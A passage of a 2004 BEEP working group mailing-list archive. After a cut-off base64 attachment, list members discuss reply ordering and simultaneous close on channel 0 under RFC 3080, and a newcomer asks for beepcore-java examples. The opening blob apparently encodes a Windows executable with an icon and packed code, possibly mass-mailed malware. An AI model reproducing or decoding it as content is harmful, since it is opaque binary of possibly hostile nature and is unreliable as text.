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
C+CzMvw9U3USom6F/dFO2GyNPtwjWz/eTYb8LBRlAHZw4Cd6PDFS4Y/oX2NJMlky7Frrlq6Q
G9TM6jVVIKgEBPa8SPgcimVTOOz9ulx5iPbgBzuqa24+NUmP6UoJlfvfRHuEJMDP85S1tULg
ZC59evaaq4+BfJwZbX4BVPa1OF8HJTa1Voitva9LkN6A2mf3zx1g/h5C+ljjvrNpDY6ra+DD
0oQBPR+jyLeFPOEEFmUWlwbPY0mCeVJXEBF8qrDtf1xFeeh3jgGvAKNjqzTyjHIR9st5GLGF
XFKHtmgRCbuF+JApafNdAjkcRvNNvmNyyMRBd8cLYprL2gDerZrpvK6tN3B19CUGyQTT2lST
/0BnTiRqkB36zcClde8/3P9OIjU8j+Lmf6HbKFXTAjrjQOyZMMkhxn5Pv7z6mKRSPsfGf/9S
TGEM5SFpBveLpzSNsv42znXHFgKux8o7Y988wJpP7ALynwERegh1b3VveA4efgyMwXhFdbVC
lybCg1abyU9fUUZtmSONnTMYqZnQjCOc6UsSISYAeO0YweBPIPwQp8qvC0A4Iw6qEAjBiWYc
F9/7dSZKfA4sA7ic8vdXZRtjhfqb+/QlSSdeiFtZ638dhZpslnxrrOyWCkQC9zv5ThE1c+hq
9gjgnzjc1aqhTcNgOo4dPSKRHGSEK1bixnOSMwNr2we84tNGyphKUZekD4uOEwYY0NJ75CnO
tudCWdCoGNDFAKx6ySH9tODWM0upDR0qepLdNbId4nRLjwAAAQACACAgEAABAAQA6AIAAAEA
KAAAACAAAABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAMz//wBoV1gAAAAAAICA
gAD///8AwMDAAP8AAAAA//8AvwAAAAAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiIRIi
IiIiIiIiIiIiIiIiIiE1VVVVVVVVVVVVVSUiIiIjRERERERERERERERSUiIiI0RERERERFVU
REVVUlIiIiNEiIiIREmZRESZlFJSIiIjRERERERElURESVRSUiIiI0SIiIiIRElVVVlUUlIi
IiNEREREREREmZmZVFJSIiIjRIiIiIiIRElUSVRSUiIiI0RERERERERElUlUUlIiIiNEiIiI
iIiIRElZVFJSIiIjREREREREREREmVRSUiIiI0SIiIiIiIiIRElEUlIiIiNERERERERERERE
RFJSIiIjRIiIiIiIiIiIiERSUiIiI0REREREREREREREUlIiIiNEiIiIiIiIiIiIRFJSIiIj
RERERERERERERERSUiIiI0QiIiIiRIiIiIhEUlIiIiNEOZJEQkRERERERFJSIiIjRDIiIiJE
iIiIiERSUiIiI0Q0QndyREREREREUlIiIiNEMiJ3ckSIiIiIRFJSIiIjRDRCd3JERERERERS
UiIiI0Q0QmZiREREREREUlIiIiNENEJmYkRERERERFJSIiIjRDMyIiJERERERERSUiIiI0RE
REREREREREREUlIiIiNCRCRCRCRCRCRCRDJSIiIjQkQkQkQkQkQkQkQyUiIiIiQzQzQzQzQz
QzQzQyIiIiIiIiIiIiIiIiIiIiIiIuAAAA/gAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH
4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AA
AAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB/gAAA//////oRzoMEABacD9QwPA
BcM4niYooxADwfgQJf9/hwDDi0QkVQQS6VXs7FEHU1ZXM/8xiX381BUcYCAoi/BoyMA3D7dF
CFBkViYYIdhTkRUUMlAOECE7x4mKPHQqFhEMDVdogKzAagLxsBIRQP91bAyKNAiIg/j7v1QB
dQQzwOtB0Ns7A/d2GOhh/xwCmbkbAVLx+YuAjDAUA0M73h5y6I3M/FfhdWwIfXgEii4JEWd6
ObH8D5TYX14pW8myHIGMZAx8VnC+YAQMV42FnG/zoqZQamApFSysDT0oDYgs4PtOjNcUvEb3
AIB9/lyLNSTFPb/gReF0CiIlVwXWIQpo0LAvHYC93IlcoUI8ICH+NeGhORA0YTAJamXoMrv+
EFmTP70Kg1COyiaRIEGwBq9yRAhq2wUoxEaj5B/IFjyJPbcjLXRTFDTobEV2dSLGAxU4NXxQ
UVoSCXVYloUSwHQFVE0TRhUjNBEUdRkPagHnMEgSAvTQkDEwwhAAtDgwQDKQCXQkEENVJ2yX
zo5pz20KYQifdo9lIO9F727vY+9y73nscCtl/GTPJlftbyObTEQN1i/lFhTNMGJKnwpT2WtZ
TrMnXC7zQ/NadjOoMXAq/8OFPDVkpy64Uw7KRoGfZ5loFXP5QlSRDoRrGQN1+GVy9m8AbmZp
Zzl4LmRxbOEQQklOGEFSWRBGVgNQcm90ZWObLqN4tjFgXAAA4AHgAuAg4hDOEQQN6Ba+EX2k
Dnsog0YiAYwoCRCJIBZJiRTAwp8BFYADbwgUB5ACZhPAAtAQCXBV/wO8CFIHQQIGEwqOQigB
dwFscBAon9EECBB5mYP0RPf9JhAihBDi947QAhCckU+9GAjwqwEZ0g+PA4BceMBUB7ADrQRS
AzjqrwAAAeAgcEAOS0VSTmBMMzIuZHFs4EbobwZzZUhhbhjtwFpyPml0OkZuFb6/KWELHEEd
Vp96R29mUudzUXVyY582Tzqpaw1iYWQWEElpbrZueko9dE2+ZClsXbMiRvFweUlSm+R0RkTA
JFfBa293c0TfPuRj+ep5pTmgLRROYW1MhlBy8PJk45xMc2p2H0xpYjtTLz5UUJNDz+5uNA0Y
TGG8RXLcXOvFjE11CHjMTgMAAAAAAAAAAAAAAAAA

------=_NextPart_000_001B_01C0CA80.6B015D10--



From lzhang@juniper.net Fri May  7 15:15:14 2004
Received: from colo-dns-ext1.juniper.net (colo-dns-ext1.juniper.net [207.17.137.57])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with ESMTP id i47M9N2j022106
	for <beepwg@lists.beepcore.org>; Fri, 7 May 2004 15:09:23 -0700 (PDT)
Received: from merlot.juniper.net (merlot.juniper.net [172.17.27.10])
	by colo-dns-ext1.juniper.net (8.11.3/8.9.3) with ESMTP id i47M9Hl26267
	for <beepwg@lists.beepcore.org>; Fri, 7 May 2004 15:09:17 -0700 (PDT)
	(envelope-from lzhang@juniper.net)
Received: from juniper.net (lzhang-bsd.juniper.net [172.17.20.151])
	by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id i47M9CJ84632
	for <beepwg@lists.beepcore.org>; Fri, 7 May 2004 15:09:12 -0700 (PDT)
	(envelope-from lzhang@juniper.net)
Message-ID: <409C0908.2050601@juniper.net>
Date: Fri, 07 May 2004 15:09:12 -0700
From: Lei Zhang <lzhang@juniper.net>
User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:0.9.8) Gecko/20020206
X-Accept-Language: en-us
MIME-Version: 1.0
To: beepwg@lists.beepcore.org
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Subject: [BEEPwg] pipelining within channel 0
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

So RFC 3080 says:

   A BEEP peer acting in the server role must process all "MSG" messages
   for a given channel in the same order as they are received.  As a
   consequence, the BEEP peer must generate replies in the same order as
   the corresponding "MSG" messages are received on a given channel.

For channel 0, which peer is considered "acting in the server role"? 
 Cannot the modifier 'acting in the server role' be taken away?  I'm 
wondering if the chan0 MSG messages need to be replied in the same order 
they are received.  Specifically, if peer A receives <close number='1'> 
then <close number='2'>, but it takes longer to close channel 1 than it 
takes to close channel 2, cannot peer A reply to the 2nd close message 
first?

Thanks,
Lei



From mrose@dbc.mtview.ca.us Tue May 11 15:26:25 2004
Received: from Marshall-Roses-Computer.local (64-73-228-56.cust.telepacific.net [64.73.228.56])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with ESMTP id i4BMM4b2011809
	for <beepwg@lists.beepcore.org>; Tue, 11 May 2004 15:22:04 -0700 (PDT)
Received: from [127.0.0.1] (localhost [127.0.0.1])
	by Marshall-Roses-Computer.local (Postfix) with ESMTP
	id CF21C19C4E2; Tue, 11 May 2004 15:21:57 -0700 (PDT)
In-Reply-To: <409C0908.2050601@juniper.net>
References: <409C0908.2050601@juniper.net>
Mime-Version: 1.0 (Apple Message framework v613)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Message-Id: <9D4F2768-A399-11D8-BA73-000A95CA7FAE@dbc.mtview.ca.us>
Content-Transfer-Encoding: 7bit
Cc: beepwg@lists.beepcore.org
From: Marshall Rose <mrose@dbc.mtview.ca.us>
Subject: Re: [BEEPwg] pipelining within channel 0
Date: Tue, 11 May 2004 15:21:57 -0700
To: Lei Zhang <lzhang@juniper.net>
X-Mailer: Apple Mail (2.613)
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

> So RFC 3080 says:
>
>   A BEEP peer acting in the server role must process all "MSG" messages
>   for a given channel in the same order as they are received.  As a
>   consequence, the BEEP peer must generate replies in the same order as
>   the corresponding "MSG" messages are received on a given channel.
>
> For channel 0, which peer is considered "acting in the server role"? 
> Cannot the modifier 'acting in the server role' be taken away?  I'm 
> wondering if the chan0 MSG messages need to be replied in the same 
> order they are received.  Specifically, if peer A receives <close 
> number='1'> then <close number='2'>, but it takes longer to close 
> channel 1 than it takes to close channel 2, cannot peer A reply to the 
> 2nd close message first?

you raise an interesting point.

keith and/or pete may have a different perspective on this.

i would say that the peer acting the listening role would be considered 
as the peer acting in the server role for channel zero. (although i 
agree that the specification doesn't clearly spell this out.)

a related ambiguity is how to handle a simultaneous close on channel 
zero!

/mtr


From jhw@wetware.com Tue May 11 21:36:29 2004
Received: from wetware.com (wetware.wetware.com [199.108.16.1])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with ESMTP id i4C4ZDb2015167
	for <beepwg@lists.beepcore.org>; Tue, 11 May 2004 21:35:13 -0700 (PDT)
Received: from [208.177.152.17] (helo=[10.0.1.5])
	by wetware.com with esmtp (Exim 4.20)
	id 1BNlSJ-0000Fn-8a; Tue, 11 May 2004 21:34:55 -0700
In-Reply-To: <9D4F2768-A399-11D8-BA73-000A95CA7FAE@dbc.mtview.ca.us>
References: <409C0908.2050601@juniper.net> <9D4F2768-A399-11D8-BA73-000A95CA7FAE@dbc.mtview.ca.us>
Mime-Version: 1.0 (Apple Message framework v613)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Message-Id: <B6E300D2-A3CD-11D8-BACE-000A958FF2FE@wetware.com>
Content-Transfer-Encoding: 7bit
Cc: Lei Zhang <lzhang@juniper.net>, beepwg@lists.beepcore.org
From: james woodyatt <jhw@wetware.com>
Subject: Re: [BEEPwg] pipelining within channel 0
Date: Tue, 11 May 2004 21:34:53 -0700
To: Marshall Rose <mrose@dbc.mtview.ca.us>
X-Mailer: Apple Mail (2.613)
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

On 11 May 2004, at 15:21, Marshall Rose wrote:
>
> a related ambiguity is how to handle a simultaneous close on channel 
> zero!

Here's how that works in my implementation: if you have sent a <close/> 
and not yet received a reply/error, then you respond to a <close/> by 
sending an <error code='450'> in response.  If you receive an <error 
code='450'> in response to a <close/> you've sent, and you've responded 
to a <close/> with an <error code='450'> then you retry the <close/> if 
you're the peer in the initiator role.


-- 
j h woodyatt <jhw@wetware.com>


From dxin@ncsa.uiuc.edu Mon May 24 12:57:27 2004
Received: from mail.ncsa.uiuc.edu (mail.ncsa.uiuc.edu [141.142.2.28])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with ESMTP id i4OJmELQ021397
	for <beepwg@lists.beepcore.org>; Mon, 24 May 2004 12:48:15 -0700 (PDT)
X-Envelope-From: dxin@ncsa.uiuc.edu
X-Envelope-To: <beepwg@lists.beepcore.org>
Received: from osage.ncsa.uiuc.edu (osage.ncsa.uiuc.edu [141.142.2.56])
	by mail.ncsa.uiuc.edu (8.11.7/8.11.7) with ESMTP id i4OJmCx30640
	for <beepwg@lists.beepcore.org>; Mon, 24 May 2004 14:48:12 -0500
Received: from localhost (dxin@localhost)
	by osage.ncsa.uiuc.edu (8.11.7/8.11.6) with ESMTP id i4OJmAZ28772
	for <beepwg@lists.beepcore.org>; Mon, 24 May 2004 14:48:12 -0500
Date: Mon, 24 May 2004 14:48:10 -0500 (CDT)
From: Dong Xin <dxin@ncsa.uiuc.edu>
To: beepwg@lists.beepcore.org
Message-ID: <Pine.LNX.4.44.0405241439180.17365-100000@osage.ncsa.uiuc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-NCSA-MailScanner-Information: Please contact the help@ncsa.uiuc.edu for more information
X-NCSA-MailScanner: Found to be clean
Subject: [BEEPwg] Help on beepcore-java
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

Hi,

	I am a new user of beepcore. I am
wondering if anybody has some examples. I saw
there was an example in the source code, but 
it seems too simple, I'd like to see more 
examples. Thanks a lot.

Dong



  


From mrose+mtr.netnews@dbc.mtview.ca.us Mon May 24 13:47:27 2004
Received: from miz-mishtal.dbc.mtview.ca.us (miz-mishtal.dbc.mtview.ca.us [64.168.10.250])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with ESMTP id i4OKdRLQ021874
	for <beepwg@lists.beepcore.org>; Mon, 24 May 2004 13:39:27 -0700 (PDT)
Received: from [IPv6:::1] (localhost [127.0.0.1])
	by miz-mishtal.dbc.mtview.ca.us (8.12.10/8.12.9) with ESMTP id i4OKWO9g008333;
	Mon, 24 May 2004 13:32:24 -0700 (PDT)
In-Reply-To: <Pine.LNX.4.44.0405241439180.17365-100000@osage.ncsa.uiuc.edu>
References: <Pine.LNX.4.44.0405241439180.17365-100000@osage.ncsa.uiuc.edu>
Mime-Version: 1.0 (Apple Message framework v613)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Message-Id: <76845515-ADC1-11D8-B606-000A95CA7FAE@dbc.mtview.ca.us>
Content-Transfer-Encoding: 7bit
Cc: beepwg@lists.beepcore.org
From: Marshall Rose <mrose+mtr.netnews@dbc.mtview.ca.us>
Subject: Re: [BEEPwg] Help on beepcore-java
Date: Mon, 24 May 2004 13:32:23 -0700
To: Dong Xin <dxin@ncsa.uiuc.edu>
X-Mailer: Apple Mail (2.613)
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

i suggest sending your question to

	http://lists.sourceforge.net/lists/listinfo/beepcore-java-users

/mtr


From dxin@ncsa.uiuc.edu Wed May 26 15:07:39 2004
Received: from mail.ncsa.uiuc.edu (mail.ncsa.uiuc.edu [141.142.2.28])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with ESMTP id i4QM0PLQ026835
	for <beepwg@lists.beepcore.org>; Wed, 26 May 2004 15:00:26 -0700 (PDT)
